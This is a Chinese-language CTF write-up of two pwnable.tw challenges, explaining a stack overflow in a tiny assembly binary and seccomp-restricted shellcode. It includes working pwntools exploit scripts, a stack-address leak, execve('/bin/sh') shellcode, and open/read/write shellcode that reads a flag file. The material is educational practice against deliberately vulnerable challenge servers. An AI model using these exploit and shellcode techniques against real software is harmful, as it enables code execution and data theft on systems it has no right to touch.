0x00 start
分析
一个相当简洁短小的程序,没有各种复杂的系统调用,甚至只有.text
段,应该是直接用汇编写的
核心子程序就两个:_start
和_exit
_exit
只是单纯的调用sys_exit
,没什么利用价值,来看看_start
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch ; text
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx ; fd -> bl=0
mov dl, 3Ch ; '<' ; len
mov al, 3
int 80h ; LINUX - sys_read
add esp, 14h ; stack_len
retn
_start endp ; sp-analysis failed
其中mov al, 4; int 80h;
和mov al, 3; int 80h
意为调用0x80号中断的4号处理程序sys_write
和3号处理程序sys_read
可以看到read
函数输入上限为0x3C,而分配的栈大小为0x14,如果没开保护那么我们可以栈溢出,checksec一下发现也确实什么保护都没开
那么我们来分析一下怎么利用漏洞
- 手头上可以利用的函数只有
sys_write
和sys_read
- 没有现成的shellcode,需要我们自行写入shellcode
- 可写入的位置只有程序调用栈,而栈的地址不固定
所以我们的流程如下
read
溢出写入write调用地址->write
输出栈基址->read
溢出写入shellcode及其地址->执行shellcode
可能光看流程不太清晰,我们分析一下程序调用栈的结构
原来的程序栈结构如下
值得注意的是,程序一开始把原栈顶指针esp压进了栈
曾让我感到困惑的是,一般而言栈底retn addr
上方应该还会压入一个原栈底指针ebp,但这里只有retn addr
而没有ebp
但其实答案很简单
- 原栈底指针ebp不是必要的
- 这是一个纯汇编写的程序,不用遵循gcc编译器的规范
既然不影响程序总体执行,那么为什么gcc的汇编器还要压入一个原栈底指针ebp呢?我又去查了查
结论:
- 原栈底指针ebp是用来调试程序遇到异常时traceback用的,不影响程序总体运行
- gcc可以通过命令
-fomit-frame-pointer
来禁止这种机制- 这样可以一定程度上优化程序运行速度
- 但代价是无法在调试程序遇到异常时traceback
- 但是有种略高级的ROP方法栈劫持好像会利用到ebp,以后学习到再说
扯远了,回到题目
执行payload构造的栈结构如下
第一次执行时,我们将retn addr覆盖为调用sys_write
函数的地址0x08048087
,当子程序_start
执行完后重新回到调用sys_write
,此时栈上只有原栈顶指针esp,于是程序输出栈基地址
尔后程序执行到调用sys_read
,我们覆盖上shellcode及其地址
第二次执行时,_start
最后有指令add esp, 14h
,所以我们的shellcode_addr
为栈基地址+0x14
,此后程序retn到我们的shellcode地址处,开始执行shellcode,最后getshell
关于最后的shellcode_addr
,网上大多一笔带过,我的理解是这样的:
- 指令从低地址向高地址执行,栈空间由高地址向低地址生长,数组在栈空间中按低地址到高地址的顺序写入和索引
old esp
指向的是栈基地址,也就是原程序栈内地址最高的地方,我暂且称其地址为0x00
- 程序全程无
pop
指令 - 首先栈内压入
retn addr
和字符串,执行完sys_read后add esp, 0x14;
,此时esp指向retn addr
- 由于
retn addr
被我们覆盖成了调用sys_write
的地址,retn
等同于pop eip, esp; add esp, 0x04
,程序打印出栈基地址,然后再次调用sys_read
,从存储old esp
处开始写入,由于结束后会再次add esp, 0x14;
,所以我们先填充长0x14
的padding,紧接着写入shellcode_addr
和shellcode,此时shellcode第一条指令从低地址的old esp+0x14
进入,最后esp
恰好指向shellcode_addr
- 所以我们应当将
shellcode_addr
设置为shellcode第一条指令的0x14
处
一开始由于思维惯性,下意识默认用过的栈空间会pop掉,导致在esp的变化这里百思不得其解
最后来简单讲讲shellcode,其实核心就是调用execve
函数来调用shell
不过由于参数限制shellcode最长为0x3C-0x14-0x08=0x15
,据此我们构造出一个长为0x15
的shellcode
31 c9 xor ecx,ecx
f7 e1 mul ecx
51 push ecx
68 2f 2f 73 68 push 0x68732f2f ;传入参数'/bin/sh'
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx,esp
b0 0b mov al,0xb ;调用80h中断b号处理程序sys_execve
cd 80 int 0x80
EXP
from pwn import *
# io = process('./start')
io = remote('chall.pwnable.tw',10000)
payload1 = b'a'*0x14 + p32(0x08048087)
io.recvuntil('CTF:')
io.send(payload1)
addr = u32(io.recv(4)) + 0x14
shellcode = asm(
'''
xor ecx,ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80
'''
)
payload2 = b'a'*0x14 + p32(addr) + shellcode
io.sendline(payload2)
io.interactive()
还挺鸡贼的,flag居然不在程序所在的目录里,最后是在/home/start/
里找到的
看佬们说这是最基础的PWN入门题,我还是太菜了QAQ
参考
- 简书
- CSDN
- 知乎
- 其他
- [原创]pwnable.tw新手向write up(一) (看雪)
- CTF-PWN | pwnable.tw前六题题解(安全客)
- pwn题研究之pwnable.tw (搜狐)
- [调试逆向] pwnable.tw - start - 栈溢出(吾爱)
- 系统调用约定(Introspelliam大佬)
- 【干货分享】手把手简易实现SHELLCODE及详解(绿盟)
- [pwnable] start(OneShell大佬)
- 执行retn、call、leave指令的时候,esp和eip的变化情况(rainduck大佬)
0x01 orw
分析
这次是个一开始完全看不懂的程序()
main
函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
orw_seccomp
函数
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h] BYREF
char *v2; // [esp+8h] [ebp-80h]
char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
unsigned int v4; // [esp+6Ch] [ebp-1Ch]
v4 = __readgsdword(0x14u);
qmemcpy(v3, &unk_8048640, sizeof(v3));
v1 = 12;
v2 = v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}
虽然有read函数,但是开了cancary保护,证明不是栈溢出漏洞(除非绕过canary)
查询资料之后才知道Linux kernel里一个叫seccomp的机制
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
seccomp 简单来说就是一个白名单,每个进程进行系统调用(system call)时,kernal 都会检查对应的白名单以确认该进程是否有权限使用这个系统调用。这个白名单是用 berkeley package filter(BPF)格式书写的。
所以这道题实际上是想要我们自己构造shellcode
既然我们无法调用shell,那直接构造shellcode读取flag不就好了
题目也暗示得很明显:ORW(sys_Open、sys_Read、sys_Write)
接下来讲讲这三个Linux kernel系统调用
我还未学习Linux kernel,接下来的描述如有错误还请见谅并不吝赐教
sys_open
要打开现有文件,请执行以下任务:
- 将系统调用
sys_open()
放入eax寄存器 - 将文件名放入ebx寄存器
- 将文件访问模式放入ecx寄存器
- 将文件权限放入edx寄存器
系统调用返回eax寄存器中创建的文件的文件描述符,如果出现错误,错误代码位于eax寄存器
在文件访问模式中,最常用的是:只读(0)、只写(1)和 读写(2)
open成功就会返回一个非负整数(0,1,2,3……)的文件描述符
文件描述符指向打开的文件,后续的read、write、close等函数的文件操作,都是通过文件描述符来实现的
每个程序运行起来后,就是一个进程,系统会给每个进程分配0~1023的文件描述符范围,每个进程打开文件时,open所返回的文件描述符是0~1023范围中的某个数字,0~1023这个范围就是文件描述符池
1023这个上限可以修改,但已经够用,一个进程同时打开1023个文件的情况很少见,所以一般很少改
open返回文件描述符的规则:返回当前最小未占用的那个。进程一运行起来,0,1,2已经被使用了,最小未占用的是3,所以返回3;如果又打开了一个文件,最小未占用的应该是4,往后同理
文件关闭后,被文件用的描述符会被释放,等着下一次open时被重复利用
这里我们成功打开flag文件后,sys_open
返回的文件描述符应该是3
sys_read
要读取文件,请执行以下任务:
- 将系统调用
sys_read()
放入eax寄存器中 - 将文件描述符放入ebx寄存器
- 将指针指向ecx寄存器中的输入缓冲区
- 将缓冲区大小,即要读取的字节数,放入edx寄存器
系统调用返回在eax寄存器中读取的字节数,如果出现错误,错误代码位于eax寄存器
我们open的flag文件描述符是3,所以传入sys_read
的文件描述符也是3
sys_write
要写入文件,请执行以下任务:
- 将系统调用
sys_write()
放入eax寄存器中 - 将文件描述符放入ebx寄存器
- 将指针指向ecx寄存器中的输出缓冲区
- 将缓冲区大小,即要写入的字节数,放入edx寄存器
系统调用返回写入eax寄存器的实际字节数,如果出现错误,错误代码位于eax寄存器中
最前面的三个文件描述符(0,1,2)分别是标准输入(stdin),标准输出(stdout)和标准错误(stderr),所以这里文件描述符应该是1
所以最后大概的流程是:sys_open
打开文件到内存->sys_read
读取文件->sys_write
将文件写入标准输出
EXP
from pwn import *
# io = process('./orw')
io = remote('chall.pwnable.tw',10001)
filename = asm(
'''
push 0x6761
push 0x6C662F77
push 0x726F2F65
push 0x6D6F682F
'''
)
sys_open = asm(
'''
mov eax,0x5
mov ebx,esp
int 0x80
'''
)
sys_read = asm(
'''
mov eax,0x3
mov ebx,0x3
mov edx,0x30
int 0x80
'''
)
sys_write = asm(
'''
mov eax,0x4
mov ebx,0x1
mov edx,0x30
int 0x80
'''
)
payload = filename + sys_open + sys_read + sys_write
io.sendline(payload)
io.interactive()
还看到akiym大佬直接写汇编程序然后用netcat执行的,不失为一个更优雅的解法
.intel_syntax noprefix
.globl _start
_start:
jmp loadstring
file_read:
pop ebx
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,0x5
int 0x80
mov ebx,eax
mov ecx,esp
mov dl,0x40
mov al,0x3
int 0x80
xchg eax,edx
mov bl,0x1
mov al,0x4
int 0x80
ret
loadstring:
call file_read
.asciz "/home/orw/flag"
$ asm -i sc.S -o sc
$ nc chall.pwnable.tw 10001 < sc
参考
- pwnable.tw-orw(CSDN)
- 【pwnable.tw 系列】orw(简书)
- linux 安全模块 -- seccomp 详解(知乎)
- 01-文件读写基本(open详解,及文件描述符)(51CTO)
- 汇编语言 文件管理
0x02 CVE-2018-1160
远超本人水平了,先留着(这是100pts?这是100pts?这是100pts?)
Comments NOTHING